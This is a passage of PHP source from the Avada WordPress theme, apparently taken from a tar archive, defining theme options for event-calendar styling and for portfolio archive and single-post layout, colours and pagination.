esc_html__( 'Events Monthly Calendar Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of each day in the calendar.', 'Avada' ), 'id' => 'ec_calendar_bg_color', 'default' => 'var(--awb-color3)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--ec_calendar_bg_color', 'callback' => [ 'sanitize_color' ], ], [ 'name' => '--ec_calendar_bg_color-6l', 'callback' => [ 'lightness_adjust', .6 ], ], [ 'name' => '--ec_calendar_bg_color-7l', 'callback' => [ 'lightness_adjust', .7 ], ], [ 'name' => '--ec_calendar_bg_color-8l', 'callback' => [ 'lightness_adjust', .8 ], ], ], ], 'ec_tooltip_bg_color' => [ 'label' => esc_html__( 'Events Popover/Drop-down Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the color for the event popover/drop-down background.', 'Avada' ), 'id' => 'ec_tooltip_bg_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--ec_tooltip_bg_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'ec_tooltip_bg_hover_color' => ( ! Fusion_Helper::tribe_is_v2_views_enabled() ) ? [] : [ 'label' => esc_html__( 'Events Popover/Drop-down Background Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the hover color for the event popover/drop-down background.', 'Avada' ), 'id' => 'ec_tooltip_bg_hover_color', 'default' => 'var(--awb-color2)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--ec_tooltip_bg_hover_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'ec_tooltip_body_color' => [ 'label' => esc_html__( 'Events Popover/Drop-down Body Text Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the popover/drop-down text.', 'Avada' ), 'id' => 'ec_tooltip_body_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--ec_tooltip_body_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'ec_border_color' => [ 'label' => esc_html__( 'Events Border Color', 'Avada' ), 'description' => esc_html__( 'Controls the various border colors around the calendar.', 'Avada' ), 'id' => 'ec_border_color', 'default' => 'var(--awb-color3)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--ec_border_color', 'callback' => [ 'sanitize_color' ], ], [ 'name' => '--ec_border_color-2d', 'callback' => [ 'lightness_adjust', -0.2 ], ], ], ], 'ec_hover_type' => [ 'label' => esc_html__( 'Events Featured Image Hover Type', 'Avada' ), 'description' => esc_html__( 'Controls the hover type for event featured images.', 'Avada' ), 'id' => 'ec_hover_type', 'default' => 'none', 'type' => 'select', 'choices' => [ 'none' => 'none', 'zoomin' => esc_html__( 'Zoom In', 'Avada' ), 'zoomout' => esc_html__( 'Zoom Out', 'Avada' ), 'liftup' => esc_html__( 'Lift Up', 'Avada' ), ], 'output' => [ // Change classes in the DOM. [ 'element' => '.fusion-ec-hover-type', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'hover-type-$', 'remove_attrs' => [ 'hover-type-none', 'hover-type-zoomin', 'hover-type-zoomout', 'hover-type-liftup' ], ], ], ], 'ec_bg_list_view' => ( Fusion_Helper::tribe_is_v2_views_enabled() ) ? [] : [ 'label' => esc_html__( 'Events Image Background Size For List View', 'Avada' ), 'description' => esc_html__( 'Controls if the image is set to auto or covered for list view layout. All other layouts use auto.', 'Avada' ), 'id' => 'ec_bg_list_view', 'default' => 'cover', 'type' => 'radio-buttonset', 'choices' => [ 'cover' => 'Cover', 'auto' => 'Auto', ], ], 'ec_sep_heading_font_size' => [ 'label' => esc_html__( 'Events Separator Heading Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size of the month and day separator headings on events archive pages.', 'Avada' ), 'id' => 'ec_sep_heading_font_size', 'type' => 'dimension', 'default' => '18px', 'css_vars' => [ [ 'name' => '--ec_sep_heading_font_size', ], ], ], ], ], 'ec_single_event_detail_section_heading' => [ 'label' => esc_html__( 'Events Single Posts', 'Avada' ), 'id' => 'ec_single_event_detail_section_heading', 'type' => 'sub-section', 'fields' => [ 'ec_all_events_link' => [ 'label' => esc_html__( 'Display All Events Link', 'Avada' ), 'description' => esc_html__( 'Turn on to display the link back to the main event page.', 'Avada' ), 'id' => 'ec_all_events_link', 'default' => 0, 'type' => 'switch', ], 'tec_display_featured_image_title' => [ 'label' => __( 'Display Featured Image & Title', 'Avada' ), 'description' => esc_html__( 'Turn on to display the featured image and title on single event posts.', 'Avada' ), 'id' => 'tec_display_featured_image_title', 'default' => 1, 'type' => 'switch', ], 'events_social_sharing_box' => [ 'label' => esc_html__( 'Events Social Sharing Box', 'Avada' ), 'description' => esc_html__( 'Turn on to display the social sharing box on single event posts.', 'Avada' ), 'id' => 'events_social_sharing_box', 'default' => 1, 'type' => 'switch', 'update_callback' => [ [ 'condition' => 'is_singular', 'operator' => '===', 'value' => true, ], ], ], 'ec_meta_layout' => [ 'type' => 'radio-buttonset', 'label' => esc_html__( 'Events Single Post Meta Layout', 'Avada' ), 'description' => esc_html__( 'Sets the layout of the single events meta data.', 'Avada' ), 'id' => 'ec_meta_layout', 'default' => 'sidebar', 'choices' => [ 'sidebar' => esc_html__( 'Sidebar', 'Avada' ), 'below_content' => esc_html__( 'Below Content', 'Avada' ), 'disabled' => esc_html__( 'Disabled', 'Avada' ), ], ], 'ec_sidebar_layouts_info' => [ 'label' => esc_html__( 'Events Single Sidebar Layout', 'Avada' ), 'description' => '', 'id' => 'ec_sidebar_layouts_info', 'type' => 'info', ], 'ec_sidebar_width' => [ 'label' => esc_html__( 'Events Single Sidebar Width', 'Avada' ), 'description' => esc_html__( 'Controls the width of the sidebar when only one sidebar is present.', 'Avada' ), 'id' => 'ec_sidebar_width', 'default' => '32%', 'type' => 'dimension', 'choices' => [ 'px', '%' ], 'css_vars' => [ [ 'name' => '--ec_sidebar_width', ], ], ], 'ec_dual_sidebar_layouts_info' => [ 'label' => esc_html__( 'Events Dual Sidebar Layout', 'Avada' ), 'description' => '', 'id' => 'ec_dual_sidebar_layouts_info', 'type' => 'info', ], 'ec_sidebar_2_1_width' => [ 'label' => esc_html__( 'Events Dual Sidebar Width 1', 'Avada' ), 'description' => esc_html__( 'Controls the width of sidebar 1 when dual sidebars are present.', 'Avada' ), 'id' => 'ec_sidebar_2_1_width', 'default' => '21%', 'type' => 'dimension', 'choices' => [ 'px', '%' ], 'css_vars' => [ [ 'name' => '--ec_sidebar_2_1_width', ], ], ], 'ec_sidebar_2_2_width' => [ 'label' => esc_html__( 'Events Dual Sidebar Width 2', 'Avada' ), 'description' => esc_html__( 'Controls the width of sidebar 2 when dual sidebars are present.', 'Avada' ), 'id' => 'ec_sidebar_2_2_width', 'default' => '21%', 'type' => 'dimension', 'choices' => [ 'px', '%' ], 'css_vars' => [ [ 'name' => '--ec_sidebar_2_2_width', ], ], ], 'ec_sidebar_sidebar_styling_info' => [ 'label' => esc_html__( 'Events Single Post Sidebar / Meta Content Styling', 'Avada' ), 'description' => '', 'id' => 'ec_sidebar_sidebar_styling_info', 'type' => 'info', ], 'ec_sidebar_bg_color' => [ 'label' => esc_html__( 'Events Sidebar / Meta Content Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the single event post sidebar(s) / meta content.', 'Avada' ), 'id' => 'ec_sidebar_bg_color', 'default' => 'var(--awb-color2)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--ec_sidebar_bg_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'ec_sidebar_padding' => [ 'label' => esc_html__( 'Events Sidebar / Meta Content Padding', 'Avada' ), 'description' => esc_html__( 'Controls the padding for the single event post sidebar(s) / meta content.', 'Avada' ), 'id' => 'ec_sidebar_padding', 'default' => '4%', 'type' => 'dimension', 'choices' => [ 'px', '%' ], 'css_vars' => [ [ 'name' => '--ec_sidebar_padding', ], [ 'name' => '--ec_sidebar_padding-no-vw', 'callback' => [ 'string_replace', [ '%', 'vw' ] ], ], ], ], 'ec_sidew_font_size' => [ 'label' => esc_html__( 'Events Sidebar Widget / Meta Content Heading Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the size of the sidebar widget / meta content heading for single event posts.', 'Avada' ), 'id' => 'ec_sidew_font_size', 'default' => '17px', 'type' => 'dimension', 'css_vars' => [ [ 'name' => '--ec_sidew_font_size', ], ], ], 'ec_sidebar_widget_bg_color' => [ 'label' => esc_html__( 'Events Sidebar Widget / Meta Content Title Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the sidebar widget / meta content title for single event posts.', 'Avada' ), 'id' => 'ec_sidebar_widget_bg_color', 'default' => 'var(--awb-color4)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--ec_sidebar_widget_bg_color', 'callback' => [ 'sanitize_color' ], ], [ 'name' => '--ec_sidebar_widget_bg_color-opaque-padding', 'callback' => [ 'return_string_if_transparent', [ 'transparent' => '', 'opaque' => '9px 15px', ], ], ], ], ], 'ec_sidebar_heading_color' => [ 'label' => esc_html__( 'Events Sidebar Widget / Meta Content Headings Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the sidebar widget / meta content heading for single event posts.', 'Avada' ), 'id' => 'ec_sidebar_heading_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--ec_sidebar_heading_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'ec_text_font_size' => [ 'label' => esc_html__( 'Events Sidebar / Meta Content Text Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the size of the text in the single event post sidebar / meta content.', 'Avada' ), 'id' => 'ec_text_font_size', 'default' => '14', 'type' => 'slider', 'choices' => [ 'min' => '1', 'max' => '100', 'step' => '1', ], 'css_vars' => [ [ 'name' => '--ec_text_font_size', 'value_pattern' => '$px', ], ], ], 'ec_sidebar_text_color' => [ 'label' => esc_html__( 'Events Sidebar / Meta Content Text Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the text in the single event post sidebar / meta content.', 'Avada' ), 'id' => 'ec_sidebar_text_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--ec_sidebar_text_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'ec_sidebar_link_color' => [ 'label' => esc_html__( 'Events Sidebar / Meta Content Link Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the link text in the single event post sidebar / meta content.', 'Avada' ), 'id' => 'ec_sidebar_link_color', 'default' => 'var(--awb-color5)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--ec_sidebar_link_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'ec_sidebar_divider_color' => [ 'label' => esc_html__( 'Events Sidebar / Meta Content Divider Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the dividers in the single event post sidebar / meta content.', 'Avada' ), 'id' => 'ec_sidebar_divider_color', 'default' => 'var(--awb-color3)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--ec_sidebar_divider_color', 'callback' => [ 'sanitize_color' ], ], ], ], ], ], ], ]; return $sections; } Avada/includes/options/portfolio.php000064400000071114152342437700013622 0ustar00get_template_terms(); } $sections['portfolio'] = [ 'label' => esc_html__( 'Portfolio', 'Avada' ), 'id' => 'heading_portfolio', 'priority' => 16, 'icon' => 'el-icon-th', 'alt_icon' => 'fusiona-insertpicture', 'class' => 'hidden-section-heading', 'fields' => [ 'general_portfolio_options_subsection' => [ 'label' => esc_html__( 'General Portfolio', 'Avada' ), 'description' => '', 'id' => 'general_portfolio_options_subsection', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'portfolio_archive_layout' => [ 'label' => esc_html__( 'Portfolio Archive Layout', 'Avada' ), 'description' => esc_html__( 'Controls the layout for the portfolio archive pages.', 'Avada' ), 'id' => 'portfolio_archive_layout', 'default' => 'grid', 'type' => 'radio-buttonset', 'choices' => [ 'grid' => esc_html__( 'Grid', 'Avada' ), 'masonry' => esc_html__( 'Masonry', 'Avada' ), ], 'update_callback' => [ [ 'condition' => 'is_portfolio_archive', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_archive_featured_image_size' => [ 'label' => esc_html__( 'Portfolio Archive Featured Image Size', 'Avada' ), 'description' => __( 'Controls if the featured image size is fixed (cropped) or auto (full image ratio) for portfolio archive pages. IMPORTANT: Fixed works best with a standard 940px site width. Auto works best with larger site widths.', 'Avada' ), 'id' => 'portfolio_archive_featured_image_size', 'default' => 'full', 'type' => 'radio-buttonset', 'choices' => [ 'cropped' => esc_html__( 'Fixed', 'Avada' ), 'full' => esc_html__( 'Auto', 'Avada' ), ], 'required' => [ [ 'setting' => 'portfolio_archive_layout', 'operator' => '==', 'value' => 'grid', ], ], 'update_callback' => [ [ 'condition' => 'is_portfolio_archive', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_archive_columns' => [ 'label' => esc_html__( 'Portfolio Archive Number of Columns', 'Avada' ), 'description' => __( 'Set the number of columns per row for portfolio archive pages. With Carousel layout this specifies the maximum amount of columns. IMPORTANT: Masonry layout does not work with 1 column.', 'Avada' ), 'id' => 'portfolio_archive_columns', 'default' => 1, 'type' => 'slider', 'choices' => [ 'min' => 1, 'max' => 6, 'step' => '1', ], 'update_callback' => [ [ 'condition' => 'is_portfolio_archive', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_archive_column_spacing' => [ 'label' => esc_html__( 'Portfolio Archive Column Spacing', 'Avada' ), 'description' => esc_html__( 'Controls the column spacing for portfolio items for archive pages.', 'Avada' ), 'id' => 'portfolio_archive_column_spacing', 'default' => '20', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '300', 'step' => '1', ], 'css_vars' => [ [ 'name' => '--portfolio_archive_column_spacing', 'value_pattern' => '$px', ], ], ], 'portfolio_equal_heights' => [ 'label' => esc_html__( 'Equal Heights', 'Avada' ), 'description' => esc_html__( 'Turn on to display grid boxes with equal heights per row.', 'Avada' ), 'id' => 'portfolio_equal_heights', 'default' => 0, 'type' => 'switch', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'portfolio_archive_layout', 'operator' => '=', 'value' => 'grid', ], ], 'transport' => 'postMessage', ], 'portfolio_archive_one_column_text_position' => [ 'label' => esc_html__( 'Portfolio Archive Content Position', 'Avada' ), 'description' => esc_html__( 'Select if title, terms and excerpts should be displayed below or next to the featured images.', 'Avada' ), 'id' => 'portfolio_archive_one_column_text_position', 'default' => 'below', 'type' => 'radio-buttonset', 'choices' => [ 'below' => esc_html__( 'Below image', 'Avada' ), 'floated' => esc_html__( 'Next to Image', 'Avada' ), ], 'required' => [ [ 'setting' => 'portfolio_archive_layout', 'operator' => '==', 'value' => 'grid', ], [ 'setting' => 'portfolio_archive_columns', 'operator' => '==', 'value' => '1', ], ], 'update_callback' => [ [ 'condition' => 'is_portfolio_archive', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_archive_items' => [ 'label' => esc_html__( 'Number of Portfolio Items Per Archive Page', 'Avada' ), 'description' => esc_html__( 'Controls the number of posts that display per page for portfolio archive pages. Set to -1 to display all. Set to 0 to use the number of posts from Settings > Reading.', 'Avada' ), 'id' => 'portfolio_archive_items', 'default' => '10', 'type' => 'slider', 'choices' => [ 'min' => '-1', 'max' => '50', 'step' => '1', ], 'update_callback' => [ [ 'condition' => 'is_portfolio_archive', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_archive_text_layout' => [ 'label' => esc_html__( 'Portfolio Archive Text Layout', 'Avada' ), 'description' => esc_html__( 'Controls if the portfolio text content is displayed boxed or unboxed or is completely disabled for portfolio archive pages.', 'Avada' ), 'id' => 'portfolio_archive_text_layout', 'default' => 'no_text', 'type' => 'radio-buttonset', 'choices' => [ 'no_text' => esc_html__( 'No Text', 'Avada' ), 'boxed' => esc_html__( 'Boxed', 'Avada' ), 'unboxed' => esc_html__( 'Unboxed', 'Avada' ), ], 'transport' => 'refresh', 'css_vars' => [ [ 'name' => '--portfolio_archive_text_layout-padding', 'element' => '.fusion-portfolio-content', 'callback' => [ 'conditional_return_value', [ 'value_pattern' => [ '20px 0', 'var(--portfolio_archive_layout_padding-top) var(--portfolio_archive_layout_padding-right) var(--portfolio_archive_layout_padding-bottom) var(--portfolio_archive_layout_padding-left)', ], 'conditions' => [ [ 'portfolio_archive_text_layout', '!==', 'boxed' ], ], ], ], ], ], 'update_callback' => [ [ 'condition' => 'is_portfolio_archive', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_archive_content_length' => [ 'label' => esc_html__( 'Portfolio Archive Text Display', 'Avada' ), 'description' => esc_html__( 'Choose how to display the post excerpt for portfolio archive pages.', 'Avada' ), 'id' => 'portfolio_archive_content_length', 'default' => 'excerpt', 'type' => 'radio-buttonset', 'choices' => [ 'no_text' => esc_html__( 'No Text', 'Avada' ), 'excerpt' => esc_html__( 'Excerpt', 'Avada' ), 'full_content' => esc_html__( 'Full Content', 'Avada' ), ], 'required' => [ [ 'setting' => 'portfolio_archive_text_layout', 'operator' => '!=', 'value' => 'no_text', ], ], 'update_callback' => [ [ 'condition' => 'is_portfolio_archive', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_archive_excerpt_length' => [ 'label' => esc_html__( 'Portfolio Archive Excerpt Length', 'Avada' ), 'description' => sprintf( __( 'Controls the number of %s in the excerpts on portfolio archive pages.', 'Avada' ), Fusion_Settings::get_instance()->get_default_description( 'excerpt_base', false, 'no_desc' ) ), 'id' => 'portfolio_archive_excerpt_length', 'default' => '10', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '500', 'step' => '1', ], 'soft_dependency' => true, 'update_callback' => [ [ 'condition' => 'is_portfolio_archive', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_archive_strip_html_excerpt' => [ 'label' => esc_html__( 'Strip HTML from Excerpt', 'Avada' ), 'description' => esc_html__( 'Turn on to strip HTML content from the excerpt for portfolio archive pages.', 'Avada' ), 'id' => 'portfolio_archive_strip_html_excerpt', 'default' => '1', 'type' => 'switch', 'update_callback' => [ [ 'condition' => 'is_portfolio_archive', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_archive_title_display' => [ 'label' => esc_html__( 'Portfolio Archive Title Display', 'Avada' ), 'description' => esc_html__( 'Controls what displays with the portfolio post title for portfolio archive pages.', 'Avada' ), 'id' => 'portfolio_archive_title_display', 'default' => 'all', 'type' => 'select', 'choices' => [ 'all' => esc_html__( 'Title and Categories', 'Avada' ), 'title' => esc_html__( 'Only Title', 'Avada' ), 'cats' => esc_html__( 'Only Categories', 'Avada' ), 'none' => esc_html__( 'None', 'Avada' ), ], 'update_callback' => [ [ 'condition' => 'is_portfolio_archive', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_archive_text_alignment' => [ 'label' => esc_html__( 'Portfolio Archive Text Alignment', 'Avada' ), 'description' => esc_html__( 'Controls the alignment of the portfolio title, categories and excerpt text when using the Portfolio Text layouts in portfolio archive pages.', 'Avada' ), 'id' => 'portfolio_archive_text_alignment', 'default' => 'left', 'type' => 'radio-buttonset', 'choices' => [ 'left' => esc_html__( 'Left', 'Avada' ), 'center' => esc_html__( 'Center', 'Avada' ), 'right' => esc_html__( 'Right', 'Avada' ), ], 'css_vars' => [ [ 'name' => '--portfolio_archive_text_alignment', 'element' => '.fusion-portfolio-content-wrapper', ], ], ], 'portfolio_archive_layout_padding' => [ 'label' => esc_html__( 'Portfolio Archive Text Layout Padding', 'Avada' ), 'description' => esc_html__( 'Controls the padding for the portfolio text layout when using boxed mode in portfolio archive pages.', 'Avada' ), 'id' => 'portfolio_archive_layout_padding', 'choices' => [ 'top' => true, 'bottom' => true, 'left' => true, 'right' => true, ], 'default' => [ 'top' => '25px', 'bottom' => '25px', 'left' => '25px', 'right' => '25px', ], 'type' => 'spacing', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--portfolio_archive_layout_padding-top', 'element' => '.fusion-portfolio-content', 'choice' => 'top', ], [ 'name' => '--portfolio_archive_layout_padding-bottom', 'element' => '.fusion-portfolio-content', 'choice' => 'bottom', ], [ 'name' => '--portfolio_archive_layout_padding-left', 'element' => '.fusion-portfolio-content', 'choice' => 'left', ], [ 'name' => '--portfolio_archive_layout_padding-right', 'element' => '.fusion-portfolio-content', 'choice' => 'right', ], ], ], 'portfolio_archive_pagination_type' => [ 'label' => esc_html__( 'Portfolio Archive Pagination Type', 'Avada' ), 'description' => esc_html__( 'Controls the pagination type for portfolio archive pages.', 'Avada' ), 'id' => 'portfolio_archive_pagination_type', 'default' => 'pagination', 'type' => 'radio-buttonset', 'choices' => [ 'pagination' => esc_html__( 'Pagination', 'Avada' ), 'infinite_scroll' => esc_html__( 'Infinite Scroll', 'Avada' ), 'load_more_button' => esc_html__( 'Load More Button', 'Avada' ), ], 'update_callback' => [ [ 'condition' => 'is_portfolio_archive', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_archive_load_more_posts_button_bg_color' => [ 'label' => esc_attr__( 'Load More Posts Button Background Color', 'fusion-core' ), 'description' => esc_attr__( 'Controls the background color of the load more button for ajax post loading for portfolio archives.', 'fusion-core' ), 'id' => 'portfolio_archive_load_more_posts_button_bg_color', 'default' => 'var(--awb-color7)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--portfolio_archive_load_more_posts_button_bg_color', 'element' => '.fusion-load-more-button', 'callback' => [ 'sanitize_color' ], ], ], 'required' => [ [ 'setting' => 'portfolio_archive_pagination_type', 'operator' => '==', 'value' => 'load_more_button', ], ], ], 'portfolio_archive_load_more_posts_button_text_color' => [ 'label' => esc_attr__( 'Load More Posts Button Text Color', 'fusion-core' ), 'description' => esc_attr__( 'Controls the text color of the load more button for ajax post loading for portfolio archives.', 'fusion-core' ), 'id' => 'portfolio_archive_load_more_posts_button_text_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--portfolio_archive_load_more_posts_button_text_color', 'element' => '.fusion-load-more-button', 'callback' => [ 'sanitize_color' ], ], ], 'required' => [ [ 'setting' => 'portfolio_archive_pagination_type', 'operator' => '==', 'value' => 'load_more_button', ], ], ], 'portfolio_archive_load_more_posts_hover_button_bg_color' => [ 'label' => esc_attr__( 'Load More Posts Button Hover Background Color', 'fusion-core' ), 'description' => esc_attr__( 'Controls the hover background color of the load more button for ajax post loading for portfolio archives.', 'fusion-core' ), 'id' => 'portfolio_archive_load_more_posts_hover_button_bg_color', 'default' => 'var(--awb-color5)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--portfolio_archive_load_more_posts_hover_button_bg_color', 'element' => '.fusion-load-more-button', 'callback' => [ 'sanitize_color' ], ], ], 'required' => [ [ 'setting' => 'portfolio_archive_pagination_type', 'operator' => '==', 'value' => 'load_more_button', ], ], ], 'portfolio_archive_load_more_posts_hover_button_text_color' => [ 'label' => esc_attr__( 'Load More Posts Hover Button Text Color', 'fusion-core' ), 'description' => esc_attr__( 'Controls the hover text color of the load more button for ajax post loading for portfolio archives.', 'fusion-core' ), 'id' => 'portfolio_archive_load_more_posts_hover_button_text_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--portfolio_archive_load_more_posts_hover_button_text_color', 'element' => '.fusion-load-more-button', 'callback' => [ 'sanitize_color' ], ], ], 'required' => [ [ 'setting' => 'portfolio_archive_pagination_type', 'operator' => '==', 'value' => 'load_more_button', ], ], ], 'portfolio_slug' => [ 'label' => esc_html__( 'Portfolio Slug', 'Avada' ), 'description' => esc_html__( 'The slug name cannot be the same name as a page name or the layout will break. This option changes the permalink when you use the permalink type as %postname%. Make sure to regenerate permalinks.', 'Avada' ), 'id' => 'portfolio_slug', 'default' => 'portfolio-items', 'type' => 'text', ], 'portfolio_with_front' => [ 'label' => esc_html__( 'Portfolio Include Permalink Front Base', 'Avada' ), 'description' => esc_html__( 'Turn on to include the front base defined by the permalink structure set in Settings > Permalinks. Make sure to regenerate permalinks.', 'Avada' ), 'id' => 'portfolio_with_front', 'default' => '1', 'type' => 'switch', ], 'portfolio_meta_font_size' => [ 'label' => esc_html__( 'Meta Data Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for meta data text.', 'Avada' ), 'id' => 'portfolio_meta_font_size', 'default' => '13px', 'type' => 'dimension', 'css_vars' => [ [ 'name' => '--portfolio_meta_font_size', ], ], ], ], ], ], ]; $sections['portfolio']['fields']['portfolio_single_post_page_options_subsection'] = [ 'label' => esc_html__( 'Portfolio Single Post', 'Avada' ), 'description' => '', 'id' => 'portfolio_single_post_page_options_subsection', 'icon' => true, 'type' => 'sub-section', 'fields' => [ 'portfolio_single_post_template_override_notice' => [ 'id' => 'portfolio_single_post_template_override_notice', 'label' => '', 'hidden' => ! $has_global_content, 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: 1: Content|Footer|Page Title Bar. 2: URL. */ '
' . __( 'IMPORTANT NOTE: The options on this tab are not available because a global %1$s override is currently used. To edit your global layout please visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['content']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'portfolio_single_post_template_notice' => [ 'id' => 'portfolio_single_post_template_notice', 'label' => '', 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: %1$s: Live Builder. %2$s: Content|Header|Footer|Page Title Bar. %3$s: Layout selection URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant setup, we recommend using the %1$s to create a custom %2$s Layout. visit this page.', 'Avada' ) . '
', isset( $template_terms['content']['alias'] ) ? $template_terms['content']['alias'] : '', Fusion_Template_Builder::get_instance()->get_template_terms()['content']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'portfolio_pn_nav' => [ 'label' => esc_html__( 'Previous/Next Pagination', 'Avada' ), 'description' => esc_html__( 'Turn on to display the previous/next post pagination for single portfolio posts.', 'Avada' ), 'id' => 'portfolio_pn_nav', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_portfolio_single', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_width_100' => [ 'label' => esc_html__( '100% Width Page', 'Avada' ), 'description' => esc_html__( 'Turn on to display portfolio posts at 100% browser width according to the window size. Turn off to follow site width.', 'Avada' ), 'id' => 'portfolio_width_100', 'default' => '0', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_portfolio_single', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_featured_image_width' => [ 'label' => esc_html__( 'Featured Image Column Size', 'Avada' ), 'description' => esc_html__( 'Controls if the featured image is half or full width on single portfolio posts.', 'Avada' ), 'id' => 'portfolio_featured_image_width', 'default' => 'full', 'type' => 'radio-buttonset', 'hidden' => $has_global_content, 'choices' => [ 'full' => esc_html__( 'Full Width', 'Avada' ), 'half' => esc_html__( 'Half Width', 'Avada' ), ], 'required' => [ [ 'setting' => 'portfolio_featured_images', 'operator' => '==', 'value' => '1', ], ], 'update_callback' => [ [ 'condition' => 'is_portfolio_single', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_featured_images' => [ 'label' => esc_html__( 'Featured Image / Video on Single Post Page', 'Avada' ), 'description' => esc_html__( 'Turn on to display featured images and videos on single portfolio posts.', 'Avada' ), 'id' => 'portfolio_featured_images', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_portfolio_single', 'operator' => '===', 'value' => true, ], ], ], 'show_first_featured_image' => [ 'label' => esc_html__( 'First Featured Image', 'Avada' ), 'description' => esc_html__( 'Turn on to display the 1st featured image on single portfolio posts.', 'Avada' ), 'id' => 'show_first_featured_image', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_content, 'required' => [ [ 'setting' => 'portfolio_featured_images', 'operator' => '==', 'value' => '1', ], ], 'partial_refresh' => [ 'show_first_featured_image_partial' => [ 'selector' => '.fusion-featured-image-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'singular_featured_image' ], 'success_trigger_event' => 'fusion-reinit-single-post-slideshow', ], ], ], 'portfolio_project_desc_title' => [ 'label' => esc_html__( 'Project Description Title', 'Avada' ), 'description' => esc_html__( 'Turn on to show the project description title on single portfolio posts.', 'Avada' ), 'id' => 'portfolio_project_desc_title', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_portfolio_single', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_project_details' => [ 'label' => esc_html__( 'Project Details', 'Avada' ), 'description' => esc_html__( 'Turn on to show the project details title and content on single portfolio posts.', 'Avada' ), 'id' => 'portfolio_project_details', 'default' => '1', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_portfolio_single', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_link_icon_target' => [ 'label' => esc_html__( 'Open Portfolio Links In New Window', 'Avada' ), 'description' => esc_html__( 'Turn on to open the single post page, project url and copyright url links in a new window.', 'Avada' ), 'id' => 'portfolio_link_icon_target', 'default' => '0', 'type' => 'switch', 'hidden' => $has_global_content, // Don't change anything since it's not relavant in builder mode. 'transport' => 'postMessage', ], 'portfolio_author' => [ 'label' => esc_html__( 'Author', 'Avada' ), 'description' => esc_html__( 'Turn on to display the author name on single portfolio posts.', 'Avada' ), 'id' => 'portfolio_author', 'default' => '0', 'type' => 'switch', 'hidden' => $has_global_content, 'update_callback' => [ [ 'condition' => 'is_portfolio_single', 'operator' => '===', 'value' => true, ], ], ], 'portfolio_social_sharing_box' => [ 'label' => esc_html__( 'Social Sharing Box', 'Avada' ), 'description' => esc_html__( 'Turn on to display the social sharing box on single portfolio posts.', 'Avada' ), 'id' => 